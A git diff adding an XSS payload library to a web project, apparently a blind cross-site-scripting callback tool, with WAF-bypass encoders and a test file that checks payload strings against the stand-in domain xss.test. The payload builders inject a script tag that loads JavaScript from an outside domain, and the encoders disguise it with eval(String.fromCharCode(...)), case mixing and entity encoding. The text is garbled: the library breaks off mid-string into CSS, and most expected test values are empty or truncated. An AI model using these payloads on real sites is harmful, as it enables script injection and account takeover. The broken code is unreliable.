diff --git a/front-end/src/libs/payloads.js b/front-end/src/libs/payloads.js
new file mode 100644
index 0000000..a4e75e3
--- /dev/null
+++ b/front-end/src/libs/payloads.js
@@ -0,0 +1,372 @@
+const utils = require('./utils.js');
+
+const html_encode = utils.html_encode;
+const urlsafe_base64_encode = utils.urlsafe_base64_encode;
+
+const CATEGORY_ATTRIBUTE_BREAKOUT = 'attribute_breakout';
+const CATEGORY_URI_BASED = 'uri_based';
+const CATEGORY_WAF_BYPASS = 'waf_bypass';
+const CATEGORY_DOM_BASED = 'dom_based';
+
+function js_attrib(base_domain) {
+ return 'var a=document.createElement("script");a.src="https://' + base_domain + '";document.body.appendChild(a);';
+}
+
+function b64_js(base_domain) {
+ return html_encode(urlsafe_base64_encode(js_attrib(base_domain)));
+}
+
+function case_mix(value) {
+ return value.split('').map((character, index) => {
+ return index % 2 === 0 ? character.toLowerCase() : character.toUpperCase();
+ }).join('');
+}
+
+function entity_encode(value) {
+ return value.split('').map((character) => {
+ return '' + character.charCodeAt(0) + ';';
+ }).join('');
+}
+
+function from_char_code(js) {
+ return 'eval(String.fromCharCode(' + js.split('').map((character) => {
+ return character.charCodeAt(0);
+ }).join(',') + '))';
+}
+
+const categories = [
+ { id: CATEGORY_ATTRIBUTE_BREAKOUT, label: 'Attribute Breakouts' },
+ { id: CATEGORY_URI_BASED, label: 'URI / Link-Based' },
+ { id: CATEGORY_WAF_BYPASS, label: 'WAF & Filter Bypass' },
+ { id: CATEGORY_DOM_BASED, label: 'DOM-Based' },
+ { id: 'all', label: 'All' },
+];
+
+const payloads = [
+ {
+ 'id': 'basic_script',
+ 'category': CATEGORY_ATTRIBUTE_BREAKOUT,
+ 'title': 'Basic <script> Tag Payload',
+ 'description': 'Classic payload',
+ 'func': function(base_domain) {
+ return "\">
\ No newline at end of file
+.payload-note {
+ color: #d3d3d7;
+ font-size: 0.9rem;
+}
+.payload-note-label {
+ font-weight: bold;
+}
+
diff --git a/front-end/test/payloads.test.js b/front-end/test/payloads.test.js
new file mode 100644
index 0000000..01d1ef6
--- /dev/null
+++ b/front-end/test/payloads.test.js
@@ -0,0 +1,137 @@
+const payloads_module = require('../src/libs/payloads.js');
+
+const DOMAIN = 'xss.test';
+const { payloads, categories, helpers } = payloads_module;
+
+const ALLOWED_CATEGORY_IDS = ['attribute_breakout', 'uri_based', 'waf_bypass', 'dom_based'];
+
+let passed = 0;
+
+function check(name, condition) {
+ if (!condition) {
+ throw new Error('FAILED: ' + name);
+ }
+ passed += 1;
+ console.log('ok - ' + name);
+}
+
+// Module shape
+check('module exports payloads array', Array.isArray(payloads));
+check('module exports categories array', Array.isArray(categories));
+check('module exports helpers', typeof helpers === 'object' && helpers !== null);
+
+// Categories
+check('categories have expected order', categories.map((c) => c.id).join(',') ===
+ 'attribute_breakout,uri_based,waf_bypass,dom_based,all');
+categories.forEach((category) => {
+ check('category ' + category.id + ' has label', typeof category.label === 'string' && category.label.length > 0);
+});
+
+// Every payload entry is complete
+payloads.forEach((payload) => {
+ const label = payload.id;
+ check(label + ' has id', typeof payload.id === 'string' && payload.id.length > 0);
+ check(label + ' has valid category', ALLOWED_CATEGORY_IDS.indexOf(payload.category) !== -1);
+ check(label + ' has title', typeof payload.title === 'string' && payload.title.length > 0);
+ check(label + ' has description', typeof payload.description === 'string' && payload.description.length > 0);
+ check(label + ' func returns string', typeof payload.func === 'function' && typeof payload.func(DOMAIN) === 'string');
+ check(label + ' has example', typeof payload.example === 'string' && payload.example.length > 0);
+ check(label + ' has caveats', typeof payload.caveats === 'string' && payload.caveats.length > 0);
+ check(label + ' has when', typeof payload.when === 'string' && payload.when.length > 0);
+});
+
+// Existing payloads preserved (golden values)
+const by_id = {};
+payloads.forEach((p) => { by_id[p.id] = p; });
+
+check('basic_script golden', by_id.basic_script.func(DOMAIN) ===
+ '">');
+check('jquery_chainload golden', by_id.jquery_chainload.func(DOMAIN) ===
+ '');
+check('xmlhttprequest_load golden', by_id.xmlhttprequest_load.func(DOMAIN) ===
+ '');
+check('javascript_uri golden', by_id.javascript_uri.func(DOMAIN) ===
+ "javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://xss.test\\';document.body.appendChild(a)')");
+check('input_onfocus golden', by_id.input_onfocus.func(DOMAIN) ===
+ '">');
+check('image_onerror golden', by_id.image_onerror.func(DOMAIN) ===
+ '">
');
+check('video_source golden', by_id.video_source.func(DOMAIN) ===
+ '">